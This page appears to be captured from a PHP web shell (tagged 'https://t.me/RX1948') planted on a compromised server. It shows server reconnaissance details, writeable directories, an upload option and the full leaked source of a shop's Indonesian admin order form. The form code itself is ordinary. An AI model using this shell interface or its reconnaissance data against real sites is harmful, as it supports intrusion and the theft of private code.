https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/admin/orders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/admin/orders/add_order.php
<link rel="stylesheet" href="<?= base_url('assets/admin/chosen_js/chosen.css'); ?>">
<style>
    .chosen-container,
    .chosen-container-single {
        width: 25% !important;
    }

    .table>tbody>tr>td>.chosen-container {
        width: 100% !important;
    }
</style>

<div class="row">
    <div class="col-sm-12">
        <?= $this->session->flashdata('success'); //to display success message 
        ?>
        <p>
            <a href="<?= base_url('admin/orders'); ?>">
                <i class="fa fa-arrow-left" aria-hidden="true"></i> Kembali ke daftar pesanan
            </a>
        </p><br>
    </div>
</div>

<?= form_open_multipart(); ?>
<div class="row">
    <div class="col-sm-12">
        <label>Pelanggan : </label><br>
        <select class="chosen-select select_customer" name="customer_id" required data-enable-search="true">
            <option value="0" selected disabled>Pilih Pelanggan ... </option>
            <?php foreach ($customer_marketplace as $customer) : ?>
                <option value="<?= $customer->id_customers; ?>"><?= $customer->name; ?> (<?= $customer->email; ?>)</option>
            <?php endforeach; ?>
        </select>
        <span style="float:right;">
            <?= $this->session->set_userdata('location_add_customer', 'orders'); ?>
            <?= anchor('admin/customers/add', '<i class="fa fa-plus" aria-hidden="true"></i> TAMBAH PELANGGAN BARU'); ?>
        </span>
        <?= form_error('customer_id'); ?>
    </div>
    <div class="col-sm-12" style="margin-top: 10px;">
        <div class="detail_customer"></div>
    </div>

    <div class="col-sm-3" style="margin-top: 20px;">
        <label>Gudang : </label><br>
        <select class="form-control select_warehouse" name="warehouse_id" required>
            <option value="0" selected disabled>Pilih Gudang ... </option>
            <?php foreach ($warehouses as $warehouse) : ?>
                <option value="<?= $warehouse->id; ?>"><?= $warehouse->name; ?></option>
            <?php endforeach; ?>
        </select>
        <?= form_error('warehouse_id'); ?>
    </div>

    <div class="col-sm-3" style="margin-top: 20px;">
        <label>Biaya pengiriman (Rp): </label><br>
        <p><input type="number" name="shipping_fee" required="required" class="form-control" value="0"></p>
    </div>

    <div class="col-sm-3" style="margin-top: 20px;">
        <label>Kurir : </label><br>
        <select class="form-control select_kurir" name="kurir_id" required>
            <option value="0" selected disabled>Pilih Kurir ... </option>
            <?php foreach ($metode_pengiriman as $kurir) : ?>
                <option value="<?= $kurir->id; ?>"><?= $kurir->name; ?></option>
            <?php endforeach; ?>
        </select>
        <?= form_error('kurir_id'); ?>
    </div>

    <div class="col-sm-3" style="margin-top: 20px;">
        <label>Pembayaran : </label><br>
        <select class="form-control select_payment" name="payment" required>
            <option value="0" selected disabled>Pilih Metode ... </option>
            <option value="bank transfer MANDIRI">Bank Transfer MANDIRI</option>
            <option value="bank transfer BCA">Bank Transfer BCA</option>
        </select>
        <?= form_error('payment'); ?>
    </div>
</div>

<div class="row">
    <div class="col-sm-12">
        <div class="">
            <table class="table table-striped" style="margin-bottom: 0px;" id="dynamic_field">
                <thead>
                    <tr>
                        <th>Produk</th>
                        <th>Stok Tersedia</th>
                        <th>Harga Jual</th>
                        <th>Diskon (Rp)</th>
                        <th>Kuantitas Beli</th>
                        <th></th>
                    </tr>
                </thead>
                <tbody>
                    <?php for ($a = 1; $a <= 20; $a++) : ?>
                        <?php if ($a == 1) : ?>
                            <tr id="row<?= $a; ?>">
                            <?php else : ?>
                            <tr id="row<?= $a; ?>" style="display: none;">
                            <?php endif; ?>
                            <td style="width: 30%">
                                <select class="chosen-select select_product select_product<?= $a; ?>" name="id_product_detail[]" id="<?= $a; ?>" data-enable-search="true">
                                    <option value="" selected disabled>Pilih Gudang terlebih dahulu ... </option>
                                    <?php foreach ($products as $product) : ?>
                                        <option value="<?= $product->product_details_id ?>">
                                            <?= $product->title ?> <?= $product->attributes_name ?> <!-- Menggunakan $attributes_name yang sudah dihasilkan -->
                                        </option>
                                    <?php endforeach; ?>
                                </select>
                            </td>
                            <td style="width: 20%">
                                <input type="text" class="form-control stock<?= $a; ?>" readonly>
                            </td>
                            <td style="width: 20%">
                                <input type="text" name="harga[]" class="form-control sale_price<?= $a; ?>" readonly>
                                <button type="button" class="btn btn-primary edit-button" data-target="sale_price<?= $a; ?>">Edit</button>
                            </td>
                            <td style="width: 20%;text-align: center;" class="diskon<?= $a; ?>">
                                <input type="number" min="1" name="potongan[]" class="form-control diskonproduk<?= $a; ?>" style="text-align: center;padding: 5px;">
                                <div class="error<?= $a; ?>"></div>
                            </td>
                            <td style="width: 20%;text-align: center;" class="qty<?= $a; ?>">
                                <input type="number" min="1" name="kuantitas[]" class="form-control qtybeli<?= $a; ?>" style="text-align: center;padding: 5px;" onkeyup="check_stok('<?= $a; ?>')">
                                <div class="error<?= $a; ?>"></div>
                            </td>
                            <td style="width: 10%;text-align: center;">
                                <?php if ($a == 1) : ?>
                                    <a class="btn_add<?= $a; ?>" href="#" id="<?= $a; ?>"><i class="fa fa-plus"></i></a>
                                <?php else : ?>
                                    <a class="btn_add<?= $a; ?>" href="#" id="<?= $a; ?>"><i class="fa fa-plus" style="padding: 0px 10px;"></i></a>
                                    <a class="btn_remove<?= $a; ?>" href="#" id="<?= $a; ?>"><i class="fa fa-trash"></i></a>
                                <?php endif; ?>
                            </td>
                            </tr>
                            <script>
                                $(document).ready(function() {
                                    $('.btn_add<?= $a; ?>').click(function() {
                                        var id = $(this).attr("id");
                                        var id_next = parseInt(id) + 1;
                                        $('#row' + id_next + '').show();
                                    });
                                    $('.btn_remove<?= $a; ?>').click(function() {
                                        var id = $(this).attr("id");
                                        $(".select_product" + id + '').val("0");
                                        $(".sale_price" + id + '').val("");
                                        $(".marketplace_price" + id + '').val("");
                                        $(".qtybeli" + id + '').val("");
                                        $(".diskonproduk" + id + '').val("");
                                        $('#row' + id + '').hide();
                                    });
                                });
                            </script>
                        <?php endfor; ?>
                        <!-- for new request -->
                </tbody>
            </table>
        </div>
    </div>
</div>

<div class="row">
    <div class="col-sm-6">
        <label>Catatan Admin:</label><br>
        <?= form_textarea('admin_note', set_value('admin_note')); ?>
        <?= form_error('admin_note'); ?>
    </div>
</div>
<div class="row">
    <div class="col-sm-12" style="text-align: center;">
        <input type="submit" name="submit" class="btn btn-success" value="BUAT PESANAN" id="submitform">
    </div>
</div>
<?= form_close(); ?>

<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <!-- Pastikan Anda sudah memuat jQuery -->

<script>
    $(document).ready(function() {
        $(".edit-button").on("click", function() {
            var targetClassName = $(this).data("target");
            var inputElement = $("." + targetClassName);

            // Toggle atribut readonly pada input
            inputElement.prop("readonly", function(_, value) {
                return !value;
            });

            // Fokuskan kursor ke input
            if (!inputElement.prop("readonly")) {
                inputElement.focus();
            }
        });
    });
</script>


<script>
    $(document).ready(function() {

        // $('.select_marketplace').change(function() { 
        //     var id_marketplace  = $(this).val();
        //     ajax_get_product_marketplace(id_marketplace); 
        // });

        $('.select_product').change(function() {
            var select_id = $(this).attr("id");
            var id_product_detail = $(this).val();
            // var id_marketplace  = document.getElementsByClassName("select_marketplace")[0].value;
            var id_warehouse = document.getElementsByClassName("select_warehouse")[0].value;
            ajax_get_product_detail(select_id, id_product_detail, id_warehouse);
        });

        $('.select_customer').change(function() {
            var id_customers = document.getElementsByClassName("select_customer")[0].value;
            ajax_get_address_customer(id_customers);
        });
    });

    function ajax_get_address_customer(id_customer) {
        $.ajax({
            'url': '<?php echo base_url(); ?>' + 'admin/orders' + '/ajax_get_address_customer',
            'type': 'POST',
            'data': {
                'id_customers': id_customer,
                '<?= $this->security->get_csrf_token_name(); ?>': '<?= $this->security->get_csrf_hash(); ?>'
            },
            'success': function(result) {
                if (result) {
                    document.getElementsByClassName("detail_customer")[0].innerHTML = result;
                };
            }
        });
    }

    // function ajax_get_product_marketplace(id_marketplace) {
    //     $.ajax({
    //         'url'       : '<?php echo base_url(); ?>' + 'admin/orders' + '/ajax_get_product_marketplace', 
    //         'type'      : 'POST',
    //         'data'      : {
    //                         'id_marketplace' : id_marketplace,
    //                         '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
    //                     }, 
    //         'success'   : function(result) {
    //             if (result) { 
    //                 $('.select_product').html(result).trigger("chosen:updated");
    //                 for($a=1;$a<=20;$a++){
    //                     document.getElementsByClassName("sale_price"+$a+"")[0].value = "";
    //                     document.getElementsByClassName("marketplace_price"+$a+"")[0].value = "";
    //                     document.getElementsByClassName("qtybeli"+$a+"")[0].value = "";
    //                 }
    //             };
    //         }
    //     });
    // }
    function ajax_get_product_detail(select_id, id_product_detail, id_warehouse) {
        $.ajax({
            'url': '<?php echo base_url(); ?>' + 'admin/orders' + '/ajax_get_product_detail',
            'type': 'POST',
            'data': {
                'id_product_detail': id_product_detail,
                // 'id_marketplace' : id_marketplace,
                'id_warehouse': id_warehouse,
                '<?= $this->security->get_csrf_token_name(); ?>': '<?= $this->security->get_csrf_hash(); ?>'
            },
            'success': function(result) {
                if (result) {
                    var hasil = JSON.parse(result);
                    document.getElementsByClassName("stock" + select_id + "")[0].value = 0;
                    document.getElementsByClassName("sale_price" + select_id + "")[0].value = 0;
                    document.getElementsByClassName("qtybeli" + select_id + "")[0].value = 0;
                    if (hasil.stock['discounted_price'] != 0) {
                        document.getElementsByClassName("sale_price" + select_id + "")[0].value = hasil.stock['discounted_price'];
                    } else {
                        document.getElementsByClassName("sale_price" + select_id + "")[0].value = hasil.stock['price'];
                    }

                    // document.getElementsByClassName("marketplace_price"+select_id+"")[0].value = hasil.product['price'];
                    document.getElementsByClassName("stock" + select_id + "")[0].value = hasil.stock['stock'];

                    document.getElementsByClassName("qtybeli" + select_id + "")[0].max = hasil.stock['stock'];
                };
            }
        });
    }

    // function check_stok(id){
    //     var prod = document.getElementsByClassName("select_product"+id+"")[0].value;
    //     var qty  = document.getElementsByClassName("qtybeli"+id+"")[0].value;
    //     var wh   = document.getElementsByClassName("select_warehouse")[0].value;

    //     ajax_check_stock(prod,qty,wh,id);
    // }

    // function ajax_check_stock(prod,qty,wh,id){
    //   $.ajax({
    //       'url'       : '<?php echo base_url(); ?>' + 'admin/orders' + '/ajax_check_stock',
    //       'type'      : 'POST',
    //       'data'      : {
    //                       'prod' : prod,
    //                       'qty' : qty,
    //                       'wh' : wh,
    //                       '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
    //                   },
    //       'success'   : function(result) {
    //             document.getElementsByClassName("error"+id)[0].innerHTML = result;

    //             for(a=1;a<=20;a++){
    //                 if(document.getElementsByClassName("error"+a+"")[0].innerHTML == ""){
    //                     document.getElementById('submitform').disabled= false;
    //                 }else{  
    //                     document.getElementById('submitform').disabled= true;
    //                     break;
    //                 }
    //             }
    //       }
    //   });
    // }
</script>

<script src="<?= base_url('assets/admin/chosen_js/chosen.jquery.js'); ?>" type="text/javascript"></script>
<script src="<?= base_url('assets/admin/chosen_js/prism.js'); ?>" type="text/javascript" charset="utf-8"></script>
<script src="<?= base_url('assets/admin/chosen_js/init.js'); ?>" type="text/javascript" charset="utf-8"></script>

https://t.me/RX1948 - 2025